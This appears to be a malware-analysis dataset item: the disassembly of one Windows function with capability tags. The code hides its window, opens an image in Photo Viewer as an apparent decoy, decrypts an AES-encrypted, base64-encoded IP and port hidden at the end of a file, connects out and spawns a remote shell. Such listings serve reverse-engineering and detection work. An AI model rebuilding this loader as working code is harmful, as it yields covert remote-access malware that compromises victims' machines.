Function at 0x6be03399
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push rbp
push r13
push r12
push rsi
push rbx
mov eax, 0x1010
call fcn.6be04e90
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xfc0], rcx
mov qword [rbp + 0xfc8], rdx
mov qword [rbp + 0xfd0], r8
mov dword [rbp + 0xfd8], r9d
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rcx, [0x6be072b3]
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0xf80], rax
mov rax, qword [rbp + 0xf80]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0xb40]
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x526d657473795325
mov qword [rbp + 0x370], rax
movabs rax, 0x7379535c25746f6f
mov qword [rbp + 0x378], rax
movabs rax, 0x75725c32336d6574
mov qword [rbp + 0x380], rax
movabs rax, 0x652e32336c6c646e
mov qword [rbp + 0x388], rax
movabs rax, 0x6f72502522206578
mov qword [rbp + 0x390], rax
movabs rax, 0x656c69466d617267
mov qword [rbp + 0x398], rax
movabs rax, 0x6f646e69575c2573
mov qword [rbp + 0x3a0], rax
movabs rax, 0x6f746f6850207377
mov qword [rbp + 0x3a8], rax
movabs rax, 0x5c72657765695620
mov qword [rbp + 0x3b0], rax
movabs rax, 0x6569566f746f6850
mov qword [rbp + 0x3b8], rax
movabs rax, 0x226c6c642e726577
mov qword [rbp + 0x3c0], rax
movabs rax, 0x566567616d49202c
mov qword [rbp + 0x3c8], rax
movabs rax, 0x6c6c75465f776569
mov qword [rbp + 0x3d0], rax
movabs rax, 0x206e6565726373
mov qword [rbp + 0x3d8], rax
lea rax, [rbp + 0x3e0]
mov edx, 0x760
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
call sym.strlen
lea rcx, [rax - 1]
mov rdx, qword [rbp + 0xfd0]
lea rax, [rbp + 0xb40]
mov r8, rcx
mov rcx, rax
call sym.strncpy
lea rax, [rbp + 0xb40]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0xb40]
add rax, 1
lea rcx, [rbp + 0xb40]
mov r8, rdx
mov rdx, rax
call sym.memmove
lea rdx, [rbp + 0xb40]
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x370]
lea rdx, [0x6be072b1]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
lea rax, [rbp + 0x320]
mov r8d, 0x41
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0xb40]
lea rdx, [0x6be072c6]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xf78], rax
mov rax, qword [rbp + 0xf78]
mov r8d, 2
mov edx, 0xffffffc0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0xf78]
lea rax, [rbp + 0x320]
mov r8, rdx
mov edx, 0x41
mov rcx, rax
call sym.fgets
mov rax, qword [rbp + 0xf78]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x320]
mov edx, 0x41
mov rcx, rax
call dbg.b64_decode
mov qword [rbp + 0xf70], rax
lea rax, [rbp + 0x220]
lea r8, [0x6be06020]
lea rdx, section..data
mov rcx, rax
call dbg.AES_init_ctx_iv
mov rdx, qword [rbp + 0xf70]
lea rax, [rbp + 0x220]
mov r8d, 0x40
mov rcx, rax
call dbg.AES_CBC_decrypt_buffer
mov rax, qword [rbp + 0xf70]
mov qword [rbp + 0xf68], rax
mov rax, qword [rbp + 0xf68]
lea rdx, [0x6be072a0]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0xf60], rax
mov rax, qword [rbp + 0xf60]
sub rax, qword [rbp + 0xf68]
mov dword [rbp + 0xf5c], eax
mov eax, dword [rbp + 0xf5c]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0xf50], rdx
movsxd rdx, eax
mov r12, rdx
mov r13d, 0
movsxd rdx, eax
mov rbx, rdx
mov esi, 0
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.6be04e90
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0xf48], rax
mov eax, dword [rbp + 0xf5c]
movsxd rdx, eax
mov rax, qword [rbp + 0xf48]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xf8c], 0
jmp 0x6be0377a
mov eax, dword [rbp + 0xf8c]
cdqe
mov rdx, qword [rbp + 0xf68]
add rax, rdx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0xf48]
mov edx, dword [rbp + 0xf8c]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0xf8c], 1
mov eax, dword [rbp + 0xf8c]
cmp eax, dword [rbp + 0xf5c]
jl 0x6be0374b
mov rdx, qword [rbp + 0xf48]
mov eax, dword [rbp + 0xf5c]
cdqe
mov byte [rdx + rax], 0
lea rax, [rbp + 0x150]
mov r8d, 0xc8
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xf48]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
mov qword [rbp + 0xf40], rax
mov rdx, qword [rbp + 0xf40]
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xf48]
mov rdx, qword [rbp + 0xf40]
sub rdx, rax
mov rax, rdx
mov dword [rbp + 0xf3c], eax
mov rdx, qword [rbp + 0xf48]
mov eax, dword [rbp + 0xf3c]
cdqe
mov byte [rdx + rax], 0
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x150]
add rax, 1
lea rcx, [rbp + 0x150]
mov r8, rdx
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xf48]
mov qword [rbp + 0xf30], rax
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.atoi
mov word [rbp + 0xf2e], ax
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x6be03889
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov edx, eax
lea rax, [0x6be0a910]
mov dword [rax], edx
lea rax, [rbp + 0x140]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x140], 2
mov rax, qword [rbp + 0xf30]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x144], eax
movzx eax, word [rbp + 0xf2e]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x142], ax
nop
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x140]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x6be03937
mov ecx, 5
call sym.sleep
jmp 0x6be03902
call dbg.Shell
jmp 0x6be03842